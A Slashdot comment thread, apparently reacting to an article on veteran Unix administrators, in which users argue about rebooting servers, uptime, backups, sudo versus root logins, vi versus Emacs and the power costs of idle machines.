      Heh, I worked for a government spook house. One of the jobs I was given was find out how many computers (we all use either SunOS or Solaris on sparc machines), had been up for more than 300 days ...every machine in the place (over 400). Then I was asked to find how many machines had been up more than 1500 days (now only 30). I was then asked to see what was running on those machines (just end user machines or are they running server applications), and see if they can be updated, rebooted (to get the updated OS running), and cleaned out (while down -- if full of dust bunnies). 1500 days isn't even 5 years, its only 4.1 years.

    12. Re:Stupid by ebuck · · Score: 2

      I used to routinely work on systems that had three or more years of uptime. We didn't like that, but not because rebooting had any value. We didn't like the fact that they weren't applying their operating system patches at least yearly.

    13. Re:Stupid by evilviper · · Score: 1

      -who knows what random proceess got put in a bad state by the resource exhaustion

      That's easy... I do. I'm the admin who knows how everything is supposed to behave, have tons of logs to look through, and get emailed whenever something new or abnormal appears in the logs.

      Besides that, you're not doing a great job if one errant process can exhaust all memory, or similar. Disk quotas work quite well. Always resist increasing ulimits, no matter how much programmers insist or beg.

      --
      Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
    14. Re:Stupid by Anonymous Coward · · Score: 0

      Once got bitten by unreadable backup tapes. All tapes where succesfully verified immediately after backup, but we found out the tape drive was faulty. Even a blank tape would verify ok. Result was that we had no working backups in just over a year. Of course, we only found that out when we really needed the backups.

      After that procedure got tightened up quite a bit. Daily backups were restored on another machine (which could be used as a hot spare, but it really was just for testing backups). Never lost a backup since. Never needed one either, but that's life for you.

    15. Re:Stupid by Anonymous Coward · · Score: 0

      who knows what random proceess got put in a bad state by the resource exhaustion"

      Veteran UNIX admins.

    16. Re:Stupid by Bacon+Bits · · Score: 1

      A fully functioning fault-free system working as designed [...]

      Such a system does not exist. Rather, such a system would be a trivial one and thus would not be in a production environment.

      --
      The road to tyranny has always been paved with claims of necessity.
    17. Re:Stupid by vlm · · Score: 1

      To know that after 5 years of uptime, changes, backups, and people playing with the system it still CAN reboot.

      Thats why you reboot all the boxes during a weekly scheduled maintenance or local equivalent.

      You don't just randomly reboot after every time you log in and change something or fix a problem.

      Rebooting all the boxes, verifying proper operation, and fixing any problems is actually excellent training for the junior on the admin team.

      --
      "Science flies us to the moon. Religion flies us into buildings." - Victor Stenger
    18. Re:Stupid by Anonymous Coward · · Score: 0

      A fully functioning fault-free system working as designed [...]

      Such a system does not exist.

      That's the point, though: your system has flaws; crashes demonstrate those flaws; once identified, the flaw can be fixed, improving the system. If you reboot, you erase evidence of the flaw, leaving it in place, and leaving the system vulnerable to the next trigger.

    19. Re:Stupid by nedlohs · · Score: 1

      But why take the risk?

      Say / filled up. You know what caused the problem and you've fixed it so it won't happen again. Why spend 2 weeks investigating every single running process on the machine to make sure it wasn't affected by the resource exhaustion when you can just reboot and be in a known good state? It's quick and simple and gets you into a known working state - seems much simpler than reading therough the source code for every running process on the machine.

    20. Re:Stupid by Anonymous Coward · · Score: 0

      Why? The ability to lock a system down so well that it requires zero maintenance is a bad thing?

    21. Re:Stupid by arkane1234 · · Score: 1

      The simplest solutions are often the cleverest, they are also usually wrong.
      It's simpler to buy a new pack of spark plugs every 1000 miles than to find the reason why the tip is melting...

      Besides, in your situation you found the one variable that changed. Without that one variable, you did not have the problem previously.

      --
      -- This space for lease, low setup fee, inquire within!
    22. Re:Stupid by nedlohs · · Score: 1

      Yes you fixed the root problem - you know "why the tip is melting" and it won't do so anymore. But you don't know what the failure itself has done to the other processes on the machine. Maybe there's a process that checks the disk space and stops writing logs if its full, but doesn't start writing them again once the disk clears up. Yes you could read through all the source code of all the programs running and find all those bugs and fix them and restart all those processes. Except of course you mightn't have the source code or the ability to fix them. So because you don't like the idea of rebooting you leave the machine up for some other process to fail due to the already fixed problem.

      Note, you aren't rebooting to fix the problem (so you aren't just "buying a new pack of spark plugs every 1000 miles"), you are just taking 2 minutes to ensure no other unrelated things break due to the machine being a bad state for some time period.

      Rebooting to fix the problem and hoping it doesn't happen again is stupid, but that isn't what was being claimed.

    23. Re:Stupid by Anonymous Coward · · Score: 0

      Here's a nickel, kid. Go buy yourself a service monitor

    24. Re:Stupid by CAIMLAS · · Score: 1

      Real sysadmins also restart a service after making configuration changes. If I had a nickel for every time I've come across a long-running machine with a mis-configured service which wasn't reflected in the in-memory running service, I'd be rich.

      --
      ~/ssh slashdot.org ssh: connect to host slashdot.org port 22: too many beers
    25. Re:Stupid by Anonymous Coward · · Score: 0

      When a run away program fills the disk or sets off the OOM killer then after fixing the problem itself rebooting is the obviously wise thing to do - who knows what random proceess got put in a bad state by the resource exhaustion

      Let me guess ... a real sysadmin? This might be news to you, but knowing what's what on the system is why the senior sysadmin gets paid the big money.

    26. Re:Stupid by richlv · · Score: 1

      i was expecting any other rule labeled as stupid, except 9... see, i even called it a rule, not a trait. it should be a rule.
      i've seen too many windows-turned-*x-admins who just bring over their old habit of "reboot and check again". i'll stop describing them here before getting a full flamebait post :)

      --
      Rich
    27. Re:Stupid by Anonymous Coward · · Score: 0

      Right and at my job I only work with "fully functioning fault free systems"

      Real Unix admins are cleaning up other people's mistakes all the damn time.

    28. Re:Stupid by Thing+1 · · Score: 1

      Parsing fail. It's not "random processes are running, oh noes!" It's "something got corrupted when the disk filled up because it couldn't write. We don't know which process got corrupted, so it is 'random'. We know all of the processes that are supposed to be running. A restart will ensure that nothing has experienced corruption which could further compromise our data." And, I completely agree with you.

      --
      I feel fantastic, and I'm still alive.
    29. Re:Stupid by cynyr · · Score: 1

      can't you kexec a new kernel in place these days with no down time?

      --
      All of the above was encrypted with a Quad ROT-13 method. Unauthorized decryption is in violation of the DMCA.
    30. Re:Stupid by mysidia · · Score: 1

      It's "something got corrupted when the disk filled up because it couldn't write.

      You mean, you might have defective software that didn't properly handle the exception of 'no space left on the device' and wound up scribbling on the disk in a way that breaks the integrity of its data file; instead of merely failing to perform any data updates?

      A restart will ensure that nothing has experienced corruption which could further compromise our data."

      Restarting won't undo corruption that has already happened.

      Most sane DBMs shutdown completely, and rely on the admin to start them back up after disk space is freed, so they can rollback all transactions and recover.

      Others cease all writing when they detect the disk is run out, and hold everything up until some space is freed.

      Any DBM or application with different pathogenic behavior is a disaster waiting to happen, and should never be used; out of disk space is not the only way that file I/O operations can fail.

    31. Re:Stupid by Thing+1 · · Score: 1

      I think we're "preaching to each other" but anyway, "hold everything up until some space is freed" ends up running out of memory, and then what. Etc. You're right, it's better to rely on non-defective software. We don't, and thus, we reboot.

      --
      I feel fantastic, and I'm still alive.
    32. Re:Stupid by hman · · Score: 1

      And of course have fun when the machine does need to be rebooted for a "kernel of hardware change" and some vital service doesn't restart because no one checked that the damn init script was enabled.

      That one is checked during the regular desaster recovery drill. You know, on the spare machines, rebuild from scratch only with the backup tapes? You do run those, right?

    33. Re:Stupid by jrincayc · · Score: 1

      I wish using ulimits was taken more seriously. For example I have to remove memory ulimits every time I start an sbcl or a java program: https://bugzilla.redhat.com/show_bug.cgi?id=568753 https://bugzilla.redhat.com/show_bug.cgi?id=510344

    34. Re:Stupid by Linuxmonger · · Score: 1

      As apposed to "A service failed to start, use Event Viewer blah, blah, blah". I love my little green "OK"s when my machine starts up, I even remember seeing some red "Failed"s a long time ago, the damn cat chewed through an ethernet cable, used the remnants to hang the cat from the rack as a warning to her kittens - no issues since.
      My all time favorite windows error - The file xyz does not exist or it does exist.

    35. Re:Stupid by nonguru · · Score: 1

      I should said "fault-tolerant" in place of "fault-free". Those systems do exist with minimal planned and unplanned down-time.

    36. Re:Stupid by ebuck · · Score: 1

      kexec doesn't work for Digital Unix / Tru64 / HPUX.

  18. Wow. by C_Kode · · Score: 1

    That was creepy to read. I'm guessing a few of you will understand what I mean.

    1. Re:Wow. by Anonymous Coward · · Score: 0

      Yeah, 9 out of 9. I found out I'm in the Veteran category now. I feel old, and I probably am in fact.

    2. Re:Wow. by Rakarra · · Score: 1

      Eight out of Nine for me.

      I've been doing end-user support long enough and with enough Linux and UNIX experience to know the flaws that the systems can have, and that when a user comes to me with a strange problem that it's quite likely some obscure bug that we hit that no one else has seen. We run into that a lot.

  19. but you ARE mucking around as root by Anonymous Coward · · Score: 2, Insightful

    You just prefix each command with "sudo". It becomes a reflex. You've essentially turned your regular account into a root account. You no longer really have a regular account.

    That "#" prompt was invented for a reason: it provides a reminder. While you certainly could be oblivious to such a reminder, that is less a risk than always being one thinko away from doing root actions while feeling all safe and usery.

    Better is a separate login window, keyboard, seat, font, color scheme, desktop, etc.

    1. Re:but you ARE mucking around as root by itzdandy · · Score: 1

      sudo is redundant, if you prepend each comment with sudo, you can save many keystrokes with 'sudu su -' once. hardcore *nix admins are lazy, remember

    2. Re:but you ARE mucking around as root by Korin43 · · Score: 1

      So a one character difference ("#" vs "~") is a good reminder, but having to type "sudo" isn't?

    3. Re:but you ARE mucking around as root by FoolishOwl · · Score: 1

      On my system at home, I do a lot at the command line that does *not* require escalated privileges. So, I don't use "sudo" on autopilot.

      One thing I don't like about the way boxes are set up where I work is that most of them only allow logins by root -- I can see the convenience factor, but it grates on my nerves that I must execute commands that don't require root privileges as root.

    4. Re:but you ARE mucking around as root by itzdandy · · Score: 1

      uh, virtual consoles anyone? a login as a regular user and a login as root.

    5. Re:but you ARE mucking around as root by FoolishOwl · · Score: 1

      I use "screen" where I can. The trouble is, the hosts I'm talking about don't have any regular user accounts.

    6. Re:but you ARE mucking around as root by Anonymous Coward · · Score: 1

      This.

      Also, sudo locks you out of using basic shell features. Like, say, redirecting output into a file. That's fine normally, until you need to overwrite a file as root. Sure, you can you sudo someop > TMPFILE; sudo mv TMPFILE /etc/whatever/filename, but that's two steps. It adds up.

      I also tend to ssh as root to a malfunctioning machine because too many things are loaded into the user environments that are not in the root environment that make debugging, diagnosing, or even logging in as a regular use tricky.

    7. Re:but you ARE mucking around as root by Randle_Revar · · Score: 1

      I use "krc" for my main login, then I have a term where I su to "kellyadmin", which has a blue prompt that ends in #. That account has sudo rights, krc does not.

    8. Re:but you ARE mucking around as root by stjobe · · Score: 2

      '#' vs '$' actually - '~' is just a shorthand marker that you're in the $HOME of the user account you're logged into. But you knew this already, right? 'Cause you're a Veteran Unix Admin, right?

      --
      "Total destruction the only solution" - Bob Marley
    9. Re:but you ARE mucking around as root by Anonymuous+Coward · · Score: 1
      Not to mention the Makefiles that try to run sudo in the install rule.

      (And assume you want to install that crap in /usr).

    10. Re:but you ARE mucking around as root by Korin43 · · Score: 1

      I never pay attention to the marker (since I use sudo), so that was based on a quick glance, which of course leads directly back to my point: It's easier to ignore the one-character symbol than having to type something before a command.

  20. Color version by Anonymous Coward · · Score: 0

    Lawn dwarves rulez the r00st!!1!1! http://dilbert.com/strips/comic/1995-06-24/

  21. That one ain't "grizzled", then. by khasim · · Score: 1

    Long before you become "grizzled", you learn time. You learn calendars. You think in UTC. All the jobs happen on UTC. With the correct leap years plotted out for the next thousand years.

    That's because you ran into that problem during your development and you learned it and kept your code.

    1. Re:That one ain't "grizzled", then. by scdeimos · · Score: 1

      Long before you become "grizzled", you learn time. You learn calendars. You think in UTC. All the jobs happen on UTC. With the correct leap years plotted out for the next thousand years.

      And then along come leap seconds, thus enhancing your grizzledness.

    2. Re:That one ain't "grizzled", then. by cynyr · · Score: 1

      I thought we thought in unix time... seconds since epoch...

      --
      All of the above was encrypted with a Quad ROT-13 method. Unauthorized decryption is in violation of the DMCA.
  22. spigot groks unix by heptapod · · Score: 2
    1. Re:spigot groks unix by Shikaku · · Score: 4, Funny

      http://bash.org/?659196

      Unix admins know Klingon.

  23. Guide on how to be a Unix Hipster? by bitfarmer · · Score: 0

    While I'm guilty of some of these things myself, this piece reads like a check-it-out-I'm-a-Unix-Guru. Somehow I don't see most vi-using folks looking down on those who prefer Emacs.

    --
    Eagles may soar, but weasels don't get sucked into jet engines.
    1. Re:Guide on how to be a Unix Hipster? by Anonymous Coward · · Score: 0

      I can use VI have for years. Show it to someone new to it and their first reaction is always 'what the fuck is this shit this sucks ass to use'. They are right. :wq!

    2. Re:Guide on how to be a Unix Hipster? by tsm_sf · · Score: 1

      Somehow I don't see most vi-using folks looking down on those who prefer Emacs.

      Google "vi vs emacs holy war" or similar.

      --
      Literalism isn't a form of humor, it's you being irritating.
    3. Re:Guide on how to be a Unix Hipster? by Korin43 · · Score: 1

      Somehow I don't see most vi-using folks looking down on those who prefer Emacs.

      Clearly you haven't used vi long enough ;)

    4. Re:Guide on how to be a Unix Hipster? by tnk1 · · Score: 1

      I don't look down on people who use Emacs... I just wonder why they would for sys admin work. Vi is fast, lets you get right to where you want to edit, and lets you make point changes and then gets you the hell out.

      Emacs is fine and all, and I've used it for things like writing a longish script or two, but vi is faster and more than powerful enough to get the job done. Its like opening a word processor when all you need to do is edit some unadorned text.

    5. Re:Guide on how to be a Unix Hipster? by Culture20 · · Score: 1

      I was an emacs user for years until I found out that
      35,$s/\(.*\)foo\(.*foo\)/\1bar\2/
      would be a lisp command, and four parens is enough for me.

  24. Rebooting by pz · · Score: 5, Informative

    The reason that Unix SAs don't like to reboot is deep seated in the history of Unix running decades ago on hardware for which a reboot cycle meant interrupting potentially dozens of people all sharing the same machine for a sequence that might take 10 to 20 minutes if nothing went wrong. Rebooting was correctly viewed as something to avoid whenever possible.

    Windows was not engineered for long uptimes until NT 4.0 and is a johnny-come-lately OS in comparison. Windows didn't run on significant (read: capable of simultaneously supporting more than one user in a non-trivial way) hardware until, what, 1994 or 1995? Meanwhile Unix and its intellectual antecedents had been supporting multi-dozen-user installations for nearly three decades.

    When there's only one user, rebooting isn't nearly as big a deal as when there are 20, 30 or more. That dichotomy alone drove the reliability of Unix, and the the lax attitude of Windows.

    Personally, even though rebooting my desktop Linux computer with it's fast processor, SSD and RAID disks, takes well under a minute, I still don't like doing it. There's something wrong: It shouldn't need to be done. If I'm rebooting for a non-hardware related issue, it's because I'm being sloppy.

    --

    Put my fist through my alarm clock with its ding-dong death inside my ear. - The Blackjacks.
    1. Re:Rebooting by deniable · · Score: 1

      Actually, NT 4.0 was slightly less stable than 3.51 but your point still stands. Heck, we don't like rebooting the WIndows servers for the same reasons: takes time and pisses off the users.

    2. Re:Rebooting by Anonymous Coward · · Score: 0

      What about saving energy? A typical desktop consumes over 100 watts of power. Keep all your lights on too?

    3. Re:Rebooting by wandazulu · · Score: 1

      As one of the two dozen people who got the "System going down now!!!" messages back in the late 80s, then waited for half an hour for the Vax running Ultrix to come back, I agree with the sentiment, especially since walking away from the terminal was essentially relinquishing it to the next person who was going to kick you off anyway.

      The problem is that now you've got a box with relatively few actual logged-in users, but a whole lot of applications that can take awhile to start up. On one of the boxes we have, we have multiple instances of Oracle, WebLogic, and some other daemons, some home-grown, some from other software packages. And while it's not 30 minutes to get back to a running state, it's about 5-10 minutes, and those are very long minutes when you've got users screaming about the money being lost because the site isn't up.

      Even on my Mac at home, I have to be careful about just rebooting because other family members may have been doing something important, and not everyone hits the 'save' button 30 times a minute like I do. I've gotten some angry looks at home that match the ones I get at work for exactly the same reason; I'm very very reluctant to reboot before asking everyone, anyway (and even then it doesn't always help...)

    4. Re:Rebooting by fnj · · Score: 1

      NT 3.51 was much more rugged than 4.0. It almost never fell over. 4.0 introduced the shell, and the display subsystem running at full privilege level - and desktop freezeups. On the other side, 3.1 had just plain too many bugs to be reliable.

      Rebooting Unix is still the last resort. Or init 1, which amounts to almost the same thing. I don't know many Unix systems that are really honest to god limited to a single user, and even these may be sharing file, printer, etc resources that somebody is depending on.

      Like you, I hate rebooting my personal desktop or laptop linux. Or restarting X, which is almost as bad as you lose all your desktop state. It's not just hardware or sloppiness that forces it, though. Almost weekly, updates show up that will trash your desktop before long if you don't at least restart X, or preferably do a full reboot.

    5. Re:Rebooting by Anonymous Coward · · Score: 0

      Our University servers in the middle of the 90s took 1h-3h when checking their fs to get up from the scratch due to certain boot orders and interdependencies. In that time a few hundred typical concurrent users could not do anything and ~5000 may have been affected by not getting their email.

    6. Re:Rebooting by Anonymous Coward · · Score: 1

      The reason that Unix SAs don't like to reboot is deep seated in the history of Unix running decades ago on hardware for which a reboot cycle meant interrupting potentially dozens of people all sharing the same machine for a sequence that might take 10 to 20 minutes if nothing went wrong. Rebooting was correctly viewed as something to avoid whenever possible.

      Windows was not engineered for long uptimes until NT 4.0 and is a johnny-come-lately OS in comparison. Windows didn't run on significant (read: capable of simultaneously supporting more than one user in a non-trivial way) hardware until, what, 1994 or 1995? Meanwhile Unix and its intellectual antecedents had been supporting multi-dozen-user installations for nearly three decades.

      When there's only one user, rebooting isn't nearly as big a deal as when there are 20, 30 or more. That dichotomy alone drove the reliability of Unix, and the the lax attitude of Windows.

      Personally, even though rebooting my desktop Linux computer with it's fast processor, SSD and RAID disks, takes well under a minute, I still don't like doing it. There's something wrong: It shouldn't need to be done. If I'm rebooting for a non-hardware related issue, it's because I'm being sloppy.

      This is true, but sometimes, systems just don't come back up. I went through a datacenter move a few years ago, and some of those boxen had been up for four years. Some of them were running fine while they were cruising along, but once they powered back up, they failed POST, or the hard drive forgot where it's boot sector was, etc. I always cringe whenever I reboot a box with large uptime (and I'll almost always force a current backup before I do, if at all possible) and pray to the computer gods that it actually comes back up.

      Of course, that's less of an issue these days, since a good majority of the servers I work with are virtualized. Now the only time we really bring servers down is when we migrate them from an older vmware cluster to our new one and need to upgrade the virtual hardware.

    7. Re:Rebooting by Anonymous Coward · · Score: 0

      ... a reboot cycle meant interrupting potentially dozens of people all sharing the same machine for a sequence that might take 10 to 20 minutes if nothing went wrong.

      This. The smallest system I'm responsible for still runs two instances of irssi inside screen for other people, so rebooting even this box is going to annoy users. And by users, I mean nerd girls.

    8. Re:Rebooting by dkf · · Score: 1

      What about saving energy? A typical desktop consumes over 100 watts of power. Keep all your lights on too?

      It's converting the energy into (mainly) heat. If he's living somewhere where keeping things warm overnight is a must, using a fraction of that power to keep the machine running is not a problem at all. (Plus it's entirely possible for the system to be doing useful work even if nobody is sitting at it. Lots of computing is done that way.)

      --
      "Little does he know, but there is no 'I' in 'Idiot'!"
    9. Re:Rebooting by WorBlux · · Score: 1

      You generally don't hire an admin to take care of your home desktop install. And even then there's suspend which only takes up a few watts of power.

    10. Re:Rebooting by Anonymous Coward · · Score: 0

      amen

    11. Re:Rebooting by xaxa · · Score: 1

      Personally, even though rebooting my desktop Linux computer with it's fast processor, SSD and RAID disks, takes well under a minute, I still don't like doing it.

      Think about how much electricity you're wasting simply to increment your uptime.

      I shut down my work and home computers when I finish using them.

      > uptime
      10:47:41 up 36 min, 1 user, load average: 0.34, 0.61, 0.62

      "Only" 36 minutes? Big deal, no one cares.

    12. Re:Rebooting by Anonymous Coward · · Score: 0

      We outsourced business services to a windows shop a couple of years ago. They are rebooting all servers every night, which still seems to be the accepted standard for windows servers.

      Sloppy is a good word for it!

    13. Re:Rebooting by Anonymous Coward · · Score: 0

      Think about how much electricity you're wasting simply to increment your uptime.

      I have, and actually you should too. Not just think about it, but calculate out a cost/benefit on it!

      In the US there are three rates for electricity. Residential, Commercial, and Industrial.
      You home is obviously the most expensive Residential group.
      Work however will be cheaper, and how much cheaper depends where you work.
      An office building will be commercial, where a manufacturing plant like where I work will be the cheapest.

      We pay about $0.06 (Yes six cents) per kWh.
      Even at that rate, our electric bill is over $15000/mo (Yes thousand, not hundred)

      Figure out how many 8hr blocks/shifts you have 'wasted' and what it costs to power the computers for that time.

      Then for comparison, take the cheapest employee pay rate (Or to be safe, use minimum wage rates for where you are) and figure out how much it costs to pay each employee to sit around for 15 minutes twiddling their thumbs waiting on the PC to boot.

      In our case, it does not become cheaper to turn PCs off unless we are having a 3 day weekend, as that 15 minutes of employee time costs more than 9 whole shifts of 8 hrs worth of electricity.

      When an employee turns their PC off Friday night, only to wait 15 minutes for it to boot up Monday morning, that employee just COST our company a couple dollars once you subtract the electricity that would be used to keep them on over the weekend sitting idle.

      The cheaper your electricity is, and the higher pay the employee is, the more it will cost the company to power computers off for a day.

      So please stop suggesting to everyone equally that they should potentially waste both time and money by turning off computers, and instead suggest every IT admin run the actual numbers to find out what time the break-even point is and setup a policy to only power off computers once that time is exceeded.

    14. Re:Rebooting by xaxa · · Score: 1

      I have no idea what electricity costs at my workplace. At home it costs £0.10/kWh.

      My computer boots up and is ready to use (logged on) within 2-3 minutes. Everyone in this office walks in, turns on their PC, then does stuff like take their coat off, fetch a drink, look at papers on their desk. By the time they're ready to use the computer it's ready to be used.

      You may as well start logging how much time your employees spend in the toilet.

    15. Re:Rebooting by O_Sleep · · Score: 1

      Considering the number or patches and updates that come out on a regular basis, it really isn't a bad habit to reboot weekly. Besides, you collapse your expectations that everything is working correctly on an actualized understanding that everything is working correctly every time you do a change in your environment that has any unforeseen potential of impacting your machines.

    16. Re:Rebooting by Anonymous Coward · · Score: 0

      hehe, well fortunately at least here IT is not yet responsible for the toilets.
      (Which is a bit surprising, as some of them DO plug into power, which seems to be the major metric others use to decide what IT should be responsible for...)

      But yea, typically boot time is all one can control or account for.
      Most times corporations try to cut back IT budgets as much as possible, so we don't really get to purchase the best and fastest machines out there.
      Heck, sometimes an i3 is considered too extravagant for the shop floor :/

      So 15+ minute boot times are just a fact of life in that situation.

      You are more than right that most employees waste way more time than that in the morning (or all day), but fortunately all they can really blame on you as the IT admin is being forced to wait on boot up. After that wasted time is on someone elses head.

      Another aspect I forgot to mention, at least for during the week, is that typically windows updates and other automated maintenance happens at night.
      Scheduling those to happen during the day would be quite annoying, but if the PC is off it can't happen at night.
      True that can be limited to one day a week instead of all week, but in that case if something unexpected comes up that needs to be taken care of over 2nd or 3rd shift, it can't be done.

      Corporate computer use is very different than home computer use.
      Personally my PC at home sits in standby all day. If i need to remotely wake it up to do something over my VPN, I can. Otherwise it sits all but off.

      The PCs at work however only have so many opportunity to realistically be turned off.

      Not to mention the article was only talking about servers, not desktops.
      Powering off servers during working shifts is just not realistic, even if it is costing more in electricity. When you have 3 shifts, you just don't power the servers down ever, and I would get fired if I tried.

    17. Re:Rebooting by pl0sql · · Score: 0

      The reason I don't like to reboot is that, if everything was perfectly coded, rebooting wouldn't be necessary and every time you reboot you are effectively admitting that something has gone wrong somewhere.

      However - there aren't many systems in the real world that are perfect so you just have to get used to it and learn to accept it. Even with all of the best configuration and maintenance, if there is some crappy software installed somewhere it is just out of your control.

      That doesn't stop you striving for perfection though!

    18. Re:Rebooting by greed · · Score: 1

      We don't like rebooting until we know why we're rebooting.

      Sure, rebooting clears stuck mounts, clears any processes hung in kernel space, resets all kernel mutexes, and so on.

      But we want to know WHY IT BROKE in the first place. Rebooting just clears the symptoms, and now we don't have the state data to fix it. So, when we know what the fault is, a reboot becomes acceptable.

      But "oh just reboot it, maybe it will start working?" No.

    19. Re:Rebooting by Just+Some+Guy · · Score: 1

      The reason that Unix SAs don't like to reboot is deep seated in the history of Unix running decades ago on hardware for which a reboot cycle meant interrupting potentially dozens of people all sharing the same machine for a sequence that might take 10 to 20 minutes if nothing went wrong. Rebooting was correctly viewed as something to avoid whenever possible.

      And that led to a tight positive feedback loop. When you're used to working on a reliable system, your workflow changes to optimize for it. I hate to reboot desktop systems because I typically have:

      • an Emacs with dozens of buffers open (46 at this moment),
      • several different browsers with multiple tabs open to pages I'm working on,
      • multiple console windows, each with a few tabs,
      • a few IM windows in mid-conversation, and
      • all organized into several virtual desktops

      ...all the way I left it and ready for me to jump to whatever needs my attention at the moment. Rebooting means throwing all that state out. Consequently, I'd never put up with a desktop that I didn't completely trust to be there when I needed it.

      PS: Quit whining about the electricity usage. First, you can suspend or hibernate an unused desktop, and I see no advantage to daily reboots over daily sleeps. Second, my desktop is my remote admin console. When I need to fix something at 2AM - you can't prevent every problem - it's nice to SSH in and see what's going on, run emacsclient to pull up the SQL console I was using earlier that day, or jump to the shell session I already have open on the server that's no longer accepting new SSH logins. A single otherwise-unneeded midnight drive to the office wipes out several years worth of electricity savings.

      --
      Dewey, what part of this looks like authorities should be involved?
    20. Re:Rebooting by arkane1234 · · Score: 1

      I didn't like rebooting the Windows servers because I was always afraid it wouldn't come back up :(

      --
      -- This space for lease, low setup fee, inquire within!
    21. Re:Rebooting by Anonymous Coward · · Score: 1

      I don't reboot Windows servers ... because I don't have any. Who runs Windows on a server?

    22. Re:Rebooting by Anonymous Coward · · Score: 0

      I reboot because I have no state that needs to persist and I like saving energy in addition to be the only user.

    23. Re:Rebooting by Joe_NoOne · · Score: 2

      No, it's simpler than that - Developers and Applications people never bother with (or even think about) start/stop scripts, so after a reboot none of the applications are working (or working right because dependent applications aren't running) and they all blame the Unix Admin when after a reboot everything doesn't work right and expect us to fix their messes...

      Stupid lUsers.......

    24. Re:Rebooting by pz · · Score: 1

      Considering the number or patches and updates that come out on a regular basis, it really isn't a bad habit to reboot weekly. Besides, you collapse your expectations that everything is working correctly on an actualized understanding that everything is working correctly every time you do a change in your environment that has any unforeseen potential of impacting your machines.

      And this is the reason that in the old days, the SAs would perform preventive maintenance (PM) at some ungodly hour like 6am Sunday mornings when absolutely no one else would be using the system. After suffering from repeated complaints about mid-day reboots on servers at my old place of employment, the SAs there (all comparatively young fellows without any mainframe experience) finally got it, and started doing their PM over the weekend. Yes, it meant they had to give up some time on a Saturday or Sunday to come in to work for a while, but the total pain was much less than what they suffered if the same actions happened at, say, 3pm during the week. Once they changed their policy, I, as a user, made it very clear that it was appreciated.

      --

      Put my fist through my alarm clock with its ding-dong death inside my ear. - The Blackjacks.
    25. Re:Rebooting by pz · · Score: 1

      You generally don't hire an admin to take care of your home desktop install. And even then there's suspend which only takes up a few watts of power.

      Exactly. I am the SA at home. And I put my machines to sleep when I'm not there.

      Turns out I am the SA in my lab as well, but those machines stay up 24/7 so that I can remotely access them, because some experiments run for a few days as a time, and so that other automated processes (virus scans, backups, etc.) can happen at off hours. Machines that don't meet those requirements get turned off when not in use for an extended period.

      The Windows boxes get rebooted pretty regularly (like before any experiment), but the Linux boxes stay up most of the time.

      --

      Put my fist through my alarm clock with its ding-dong death inside my ear. - The Blackjacks.
    26. Re:Rebooting by Thing+1 · · Score: 1

      Windows 9x had a bug where at 38 days it would crash. However, almost nobody was able to keep it running that long, so the bug went long unnoticed. Similar to a former coworker who always arrived after 10 am, the program he wrote (which dealt with time) worked fine for him, but when people tried running it before 10:00 am it had issues (because he assumed the hour was always two digits, in the code). Good times.

      --
      I feel fantastic, and I'm still alive.
    27. Re:Rebooting by toddestan · · Score: 1

      Why don't you use sleep mode for the computers? That reduces the power usage of the computers down to almost zero, and they'll come back out of sleep in a few seconds.

      If you must leave the computers, I hope you're running Folding@Home or SETI or something. Granted, that uses even more power, but I'd rather see 100W doing something as opposed to 60W that's just thrown away.

    28. Re:Rebooting by cynyr · · Score: 1

      hmm that seems like a good case for those "cloud" server things... just move all the VMs off to the other servers, reboot this one, add back VMs, and move along.

      --
      All of the above was encrypted with a Quad ROT-13 method. Unauthorized decryption is in violation of the DMCA.
    29. Re:Rebooting by ryanov · · Score: 1

      Hasn't anyone else ever heard of wakeonlan?

    30. Re:Rebooting by toddestan · · Score: 1

      I have. My experience is that it has never worked right and it's more trouble than it's worth. That's why I didn't bring it up.

    31. Re:Rebooting by Anonymous Coward · · Score: 0

      The reason that Unix SAs don't like to reboot is deep seated in the history of Unix running decades ago on hardware for which a reboot cycle meant interrupting potentially dozens of people all sharing the same machine for a sequence that might take 10 to 20 minutes if nothing went wrong. Rebooting was correctly viewed as something to avoid whenever possible.

      Windows was not engineered for long uptimes until NT 4.0 and is a johnny-come-lately OS in comparison. Windows didn't run on significant (read: capable of simultaneously supporting more than one user in a non-trivial way) hardware until, what, 1994 or 1995? Meanwhile Unix and its intellectual antecedents had been supporting multi-dozen-user installations for nearly three decades.

      When there's only one user, rebooting isn't nearly as big a deal as when there are 20, 30 or more. That dichotomy alone drove the reliability of Unix, and the the lax attitude of Windows.

      Personally, even though rebooting my desktop Linux computer with it's fast processor, SSD and RAID disks, takes well under a minute, I still don't like doing it. There's something wrong: It shouldn't need to be done. If I'm rebooting for a non-hardware related issue, it's because I'm being sloppy.

      Actually, UNIX/Linux is better when not rebooted less often for the superior way it buffers inactive memory pages and utilizes every bit of physical memory available in , reducing the amount of time it has to go to disk. The longer its up, the better it runs.

  25. sudo -i by krray · · Score: 2

    You've already ticked me off by wasting my time.
    Link to the print version next time: http://www.infoworld.com/print/151276

    I prefer my password. It's just a PITA that changes daily. alias s='sudo -i'
    Same result as "su -" but with less typing.

    Yes, root's password was set / changed. It's insanely long. I like it that way.

    PS: this /. interface sucks now :wq

    1. Re:sudo -i by thogard · · Score: 1

      :wq went away over 2 decades ago when it was replaced with :x The reason is :x! does the right thing and :wq! doesn't when something fails.

    2. Re:sudo -i by Anonymous Coward · · Score: 0

      > :wq went away over 2 decades ago

      LOL. n00b

    3. Re:sudo -i by inglorion_on_the_net · · Score: 1

      PS: this /. interface sucks now :wq

      Actually, has someone already written a fast, lightweight interface to Slashdot, with vi key bindings?

      --
      Please correct me if I got my facts wrong.
    4. Re:sudo -i by meloneg · · Score: 1

      ...and "ZZ" takes less finger gymnastics and eliminates that temptation to be silly and use ":x!" or ":wq!" all the time.

    5. Re:sudo -i by marcosdumay · · Score: 1

      And why would you want ":wq!"? I can think why one would want ":wq", and why one would want ":q!", but ":wq!" eludes me. Also, what is the correct behaviour when something fails? I can't think on anything I'd qualify as "correct".

    6. Re:sudo -i by cynyr · · Score: 1

      hmm learn something new everyday....

      --
      All of the above was encrypted with a Quad ROT-13 method. Unauthorized decryption is in violation of the DMCA.
    7. Re:sudo -i by Anonymous Coward · · Score: 0

      ":w!" means write it even if it can even though the permissions don't allow it.
      ":q!" means quit and I don't care if I didn't write it.
      ":wq" means write it if its easy and quit
      Does ":wq!" parse as "(w!)q"? or "w! q"? If the write fails, does the "quit !" happen?
      ":x" does a ":wq" and a ":x!" does a ":w! ; q" which is what people expect.

      This make more sense if you read the ! as DAMNIT which was the token returned by the parser long ago.

      When Sys V stole vi, that seems to be when ZZ became common.

